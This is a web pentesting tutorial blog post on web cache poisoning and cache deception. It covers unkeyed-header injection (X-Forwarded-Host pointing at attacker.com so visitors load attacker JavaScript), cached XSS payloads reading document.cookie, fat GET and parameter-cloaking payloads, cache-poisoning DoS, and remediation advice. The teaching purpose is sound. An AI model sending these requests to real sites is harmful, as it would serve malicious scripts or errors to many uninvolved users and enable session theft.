← Back to writing
Web Pentesting

Web Cache Poisoning

Sep 03, 2024
3 min read
lawbyte

Web cache poisoning lets you store a malicious response in a cache that gets served to other users. When a CDN or caching proxy serves your poisoned response to thousands of users, the impact multiplies significantly.

How Caching Works

Caches store responses keyed by some subset of request attributes (URL, Host, some headers). If a request matches the cache key, the cached response is returned instead of forwarding to the origin. Unkeyed inputs — headers or parameters that affect the response but aren’t part of the cache key — are the attack surface.


Identifying Cache Behavior

# Check for cache headers
curl -I https://target.com/ | grep -i "cache\|x-cache\|age\|cf-cache\|via"

# Common cache indicator headers:
X-Cache: HIT # cached response
X-Cache: MISS # cache miss (freshly fetched)
Age: 120 # seconds the response has been cached
CF-Cache-Status: HIT # Cloudflare
Via: 1.1 varnish

Cache buster

When testing, add a unique parameter to avoid poisoning the real cache:

https://target.com/?cb=unique_value_1

Unkeyed Header Injection

X-Forwarded-Host

If the app uses X-Forwarded-Host to generate absolute URLs and the cache doesn’t include it in the key:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

If the response generates links like https://attacker.com/static/app.js and this gets cached, all subsequent visitors loading the cached response will fetch JavaScript from your server.

X-Forwarded-Scheme / X-Forwarded-Proto

GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: nothttps

May cause the server to generate an HTTP redirect → redirect gets cached → DoS or redirect to attacker.

X-Original-URL / X-Rewrite-URL

GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin

If the cache uses the path / as key but the server responds to /admin content, you poison / with admin content.


Poisoning with XSS

If an unkeyed header is reflected in the response:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com"><script>alert(document.cookie)</script>

If this gets cached and served to other users, the XSS fires for every visitor.


Fat GET Requests

Some caches key on URL but pass the full request (including body) to the origin. If the origin processes GET body:

GET / HTTP/1.1
Host: target.com
Content-Length: 48

param=<script>alert(document.cookie)</script>

Parameter Cloaking

Cache keys often strip certain parameters. The origin sees them, but they’re not in the cache key.

# Cache keys: GET /page?a=1
# But origin sees: GET /page?a=1&utm_source=<payload>
GET /page?a=1&utm_source="><img src=x onerror=alert(1)>

If utm_source is reflected and unkeyed, the poisoned response is cached against the key /page?a=1.


Cache Key Normalization Differences

Exploiting how the cache and origin differ in normalizing cache keys:

# These might have the same cache key but different backend responses:
/path?param=value
/path?param=value&
/path?param=value%20
/path?PARAM=value # case normalization
/PATH?param=value # path case

Web Cache Deception

Different from poisoning. Trick users into making their browser cache sensitive resources.

# Attacker sends victim a link:
https://target.com/account/settings/nonexistent.css

# If the cache caches by file extension (.css → static → cacheable)
# but the server returns the dynamic page content,
# the attacker can then fetch that URL and get the cached response
# containing the victim's account data

CDN-Specific Techniques

Cloudflare

# Cloudflare caches /cdn-cgi/ paths by default
# Check X-Cache-Status header
curl -I https://target.com/ | grep -i cf-cache

# Cloudflare caches based on file extension too:
https://target.com/profile.php/not-real.js # might be cached as static

Varnish

# Varnish typically uses URL + Host as cache key
# Check for Vary header misconfigurations
curl -I https://target.com/ | grep -i vary

Tools

# Param Miner (Burp Extension) — finds unkeyed headers
# Right-click request → Extensions → Param Miner → Guess headers

# Manual testing workflow:
# 1. Identify cache behavior (hit/miss headers)
# 2. Find unkeyed headers with Param Miner
# 3. Test if unkeyed header affects response
# 4. Craft malicious payload in unkeyed header
# 5. Verify poisoned response is cached (second request → same payload)
# 6. Report impact (XSS, redirect, DoS)

Cache Poisoning DoS

# Poison with a response that causes an error or redirect loop
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: doesnotexist.attacker.com

# If cached: every user gets an error page until cache expires
# Can be sustained by re-poisoning

Remediation

  • Include all request inputs that affect the response in the cache key (Vary header).
  • Use cache-busting parameters for dynamic responses.
  • Strip or ignore security-sensitive unkeyed headers at the reverse proxy level.
  • Mark responses containing user-specific data with Cache-Control: no-store.
  • Configure CDN to never cache HTML from authenticated endpoints.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.